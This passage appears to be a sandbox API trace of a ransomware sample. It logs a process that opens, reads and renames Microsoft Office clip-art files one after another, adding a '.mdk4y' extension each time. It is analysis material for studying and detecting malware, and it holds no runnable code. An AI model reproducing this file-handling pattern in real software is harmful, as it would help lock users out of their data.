MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.mdk4y")) returned 1 [0181.633] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.633] AreFileApisANSI () returned 1 [0181.633] GetACP () returned 0x4e4 [0181.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0300840.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0300840.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825686400000) returned 1 [0181.634] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x239c, lpOverlapped=0x0) returned 1 [0181.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825686500000) returned 1 [0181.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825686500000) returned 1 [0181.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.mdk4y")) returned 1 [0181.637] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.637] AreFileApisANSI () returned 1 [0181.637] GetACP () returned 0x4e4 [0181.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0300912.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0300912.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.637] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825686800000) returned 1 [0181.638] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdafc, lpOverlapped=0x0) returned 1 [0181.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825689800000) returned 1 [0181.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825689800000) returned 1 [0181.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.mdk4y")) returned 1 [0181.670] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.670] AreFileApisANSI () returned 1 [0181.670] GetACP () returned 0x4e4 [0181.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301050.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301050.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.670] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825690000000) returned 1 [0181.670] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2fd8, lpOverlapped=0x0) returned 1 [0181.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825690500000) returned 1 [0181.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825690500000) returned 1 [0181.676] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.mdk4y")) returned 1 [0181.677] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.677] AreFileApisANSI () returned 1 [0181.677] GetACP () returned 0x4e4 [0181.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301076.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301076.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.677] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825690800000) returned 1 [0181.678] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x224e, lpOverlapped=0x0) returned 1 [0181.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825690900000) returned 1 [0181.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825690900000) returned 1 [0181.679] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.mdk4y")) returned 1 [0181.680] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.680] AreFileApisANSI () returned 1 [0181.680] GetACP () returned 0x4e4 [0181.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301252.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301252.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.680] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825691100000) returned 1 [0181.681] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x953a, lpOverlapped=0x0) returned 1 [0181.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825691200000) returned 1 [0181.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825691300000) returned 1 [0181.683] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301252.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301252.wmf.mdk4y")) returned 1 [0181.684] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.684] AreFileApisANSI () returned 1 [0181.684] GetACP () returned 0x4e4 [0181.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301480.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301480.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.684] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825691500000) returned 1 [0181.685] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f40, lpOverlapped=0x0) returned 1 [0181.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825693000000) returned 1 [0181.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825693100000) returned 1 [0181.701] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301480.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301480.wmf.mdk4y")) returned 1 [0181.702] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.702] AreFileApisANSI () returned 1 [0181.702] GetACP () returned 0x4e4 [0181.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0302827.JPG", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0302827.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0181.702] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825693300000) returned 1 [0181.703] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5a2b, lpOverlapped=0x0) returned 1 [0181.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825696000000) returned 1 [0181.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825696000000) returned 1 [0181.731] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.mdk4y")) returned 1 [0181.732] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.732] AreFileApisANSI () returned 1 [0181.732] GetACP () returned 0x4e4 [0181.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0302953.JPG", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0302953.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0181.732] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825696300000) returned 1 [0181.733] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x25c1, lpOverlapped=0x0) returned 1 [0181.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825697700000) returned 1 [0181.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825697700000) returned 1 [0181.748] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.mdk4y")) returned 1 [0181.749] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.749] AreFileApisANSI () returned 1 [0181.749] GetACP () returned 0x4e4 [0181.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0304933.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0304933.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825698000000) returned 1 [0181.750] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d84, lpOverlapped=0x0) returned 1 [0181.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825698100000) returned 1 [0181.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825698100000) returned 1 [0181.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.mdk4y")) returned 1 [0181.752] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.752] AreFileApisANSI () returned 1 [0181.752] GetACP () returned 0x4e4 [0181.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0305257.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0305257.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825698300000) returned 1 [0181.753] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5af0, lpOverlapped=0x0) returned 1 [0181.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825699600000) returned 1 [0181.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825699600000) returned 1 [0181.766] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.mdk4y")) returned 1 [0181.767] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.767] AreFileApisANSI () returned 1 [0181.767] GetACP () returned 0x4e4 [0181.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0305493.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0305493.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.767] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825699800000) returned 1 [0181.768] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3372, lpOverlapped=0x0) returned 1 [0181.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825701700000) returned 1 [0181.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825701700000) returned 1 [0181.788] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.mdk4y")) returned 1 [0181.789] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.789] AreFileApisANSI () returned 1 [0181.789] GetACP () returned 0x4e4 [0181.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0315447.JPG", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0315447.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0181.789] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825704600000) returned 1 [0181.816] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x60e4, lpOverlapped=0x0) returned 1 [0181.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825705800000) returned 1 [0181.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825705800000) returned 1 [0181.829] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.mdk4y")) returned 1 [0181.830] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.830] AreFileApisANSI () returned 1 [0181.830] GetACP () returned 0x4e4 [0181.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0332268.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0332268.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.830] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825706000000) returned 1 [0181.830] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5168, lpOverlapped=0x0) returned 1 [0181.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825707600000) returned 1 [0181.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825707600000) returned 1 [0181.846] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.mdk4y")) returned 1 [0181.847] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.847] AreFileApisANSI () returned 1 [0181.847] GetACP () returned 0x4e4 [0181.847] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0332364.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0332364.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.847] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.848] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825707800000) returned 1 [0181.848] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x47c2, lpOverlapped=0x0) returned 1 [0181.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825707900000) returned 1 [0181.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825707900000) returned 1 [0181.853] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.mdk4y")) returned 1 [0181.854] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.854] AreFileApisANSI () returned 1 [0181.854] GetACP () returned 